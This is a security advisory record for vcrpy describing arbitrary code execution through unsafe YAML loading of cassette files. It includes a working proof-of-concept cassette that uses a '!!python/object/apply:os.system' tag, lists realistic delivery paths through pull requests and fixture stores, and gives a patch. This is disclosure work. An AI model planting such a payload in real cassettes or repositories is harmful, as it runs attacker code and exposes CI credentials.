{"id":"GHSA-rpj2-4hq8-938g","summary":"VCR.py: Arbitrary code execution via unsafe YAML deserialization of cassette files","details":"### Summary\n\nvcrpy deserializes YAML cassette files with PyYAML's object-constructing loader (`yaml.CLoader` / `yaml.Loader`) instead of the safe loader (`yaml.CSafeLoader` / `yaml.SafeLoader`). A cassette containing a `!!python/object/apply:` (or similar) tag therefore executes arbitrary Python code the moment the cassette is loaded — including through the normal `VCR().use_cassette()` path, before any HTTP interaction is replayed.\n\nThis is **not** limited to environments lacking the libYAML C extension. `CLoader` uses the C parser but PyYAML's full Python *constructor*, so Python\nobject tags execute under `CLoader` exactly as under the pure-Python `Loader`. Confirmed against vcrpy 8.1.1 + PyYAML 6.0.3 with `CLoader` active.\n\n### Affected component\n\n- `vcr/serializers/yamlserializer.py` — `deserialize()` → `yaml.load(cassette_string, Loader=Loader)` where `Loader` is `CLoader`/`Loader`. Reached on **every** cassette load.\n- `vcr/migration.py` (~line 107) — `yaml.load(preprocess_yaml(...), Loader=Loader)`. A second sink reached when the migration tool is run on a `.yaml` file. `preprocess_yaml()` only strips three known legacy tags, so other tags still execute.\n\nPresent in all releases inspected, 1.0.0 through 8.1.1.\n\n### Proof of concept\n\n```python\nimport vcr, requests\n\n# Attacker-supplied cassette. The payload sits in an ignored top-level key\n# so the rest of the cassette stays valid; it fires during load.\nopen(\"evil.yaml\", \"w\").write(\"\"\"interactions:\n- request:\n    body: null\n    headers: {Accept: ['*/*']}\n    method: GET\n    uri: http://example.com/\n  response:\n    body: {string: ok}\n    headers: {Content-Type: ['text/plain']}\n    status: {code: 200, message: OK}\n_x: !!python/object/apply:os.system ['touch /tmp/VCRPY_YAML_RCE']\nversion: 1\n\"\"\")\n\nwith vcr.use_cassette(\"evil.yaml\"):      # \u003c-- /tmp/VCRPY_YAML_RCE created here\n    requests.get(\"http://example.com/\")\n```\n\nLoading the cassette creates `/tmp/VCRPY_YAML_RCE`, demonstrating arbitrary command execution. Any Python callable can be invoked this way.\n\n### Impact\n\nArbitrary code execution in the process that loads the cassette, with that process's full privileges. Realistic delivery paths:\n\n- A malicious cassette added in a pull request and loaded when CI runs the tests.\n- A poisoned shared test-fixture repository or cassette artifact store.\n- \"Updated recorded HTTP fixtures\" social-engineering.\n\nBecause cassettes are typically loaded by test suites in CI/CD and on developer machines, the exposed secrets are exactly the high-value ones in those environments: CI deployment credentials, cloud IAM roles, registry/publishing tokens, and source access.\n\n### Patch\n\nUse the safe loader in `vcr/serializers/yamlserializer.py`:\n\n```python\ntry:\n    from yaml import CDumper as Dumper\n    from yaml import CSafeLoader as Loader\nexcept ImportError:\n    from yaml import Dumper\n    from yaml import SafeLoader as Loader\n\ndef deserialize(cassette_string):\n    return yaml.load(cassette_string, Loader=Loader)\n```\n\nApply the same `SafeLoader` change in `vcr/migration.py`.\n\nThis is backwards compatible: vcrpy cassettes only contain standard YAML (scalars/lists/maps plus `!!binary`, all supported by `SafeLoader`/`CSafeLoader`), so existing cassettes load unchanged. vcrpy's `serialize.deserialize()` already catches `yaml.constructor.ConstructorError`, so a Python-tagged cassette now surfaces as the existing \"old cassette format\" `ValueError` instead of executing.\n\nRecommended hardening: add a regression test that loads a cassette containing `!!python/object/apply:os.system` and asserts a `ConstructorError`/`ValueError` and that no side effect occurs.","modified":"2026-06-19T21:30:10.214252001Z","published":"2026-06-19T21:15:47Z","database_specific":{"cwe_ids":["CWE-502"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-06-19T21:15:47Z","nvd_published_at":null},"references":[{"type":"WEB","url":"https://github.com/kevin1024/vcrpy/security/advisories/GHSA-rpj2-4hq8-938g"},{"type":"PACKAGE","url":"https://github.com/kevin1024/vcrpy"}],"affected":[{"package":{"name":"vcrpy","ecosystem":"PyPI","purl":"pkg:pypi/vcrpy"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8.2.1"}]}],"versions":["0.0.1","0.0.2","0.0.3","0.0.4","0.1.0","0.2.0","0.2.1","0.3.0","0.3.1","0.3.2","0.3.3","0.3.4","0.3.5","0.4.0","0.5.0","0.6.0","0.7.0","1.0.0","1.0.1","1.0.2","1.0.3","1.1.0","1.1.1","1.1.2","1.1.3","1.1.4","1.10.0","1.10.1","1.10.2","1.10.3","1.10.4","1.10.5","1.11.0","1.11.1","1.12.0","1.13.0","1.2.0","1.3.0","1.4.0","1.4.1","1.4.2","1.5.0","1.5.1","1.5.2","1.6.0","1.6.1","1.7.0","1.7.1","1.7.2","1.7.3","1.7.4","1.8.0","1.9.0","2.0.0","2.0.1","2.1.0","2.1.1","3.0.0","4.0.0","4.0.1","4.0.2","4.1.0","4.1.1","4.2.0","4.2.1","4.3.0","4.3.1","4.4.0","5.0.0","5.1.0","6.0.0","6.0.1","6.0.2","7.0.0","8.0.0","8.1.0","8.1.1","8.2.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-rpj2-4hq8-938g/GHSA-rpj2-4hq8-938g.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}]}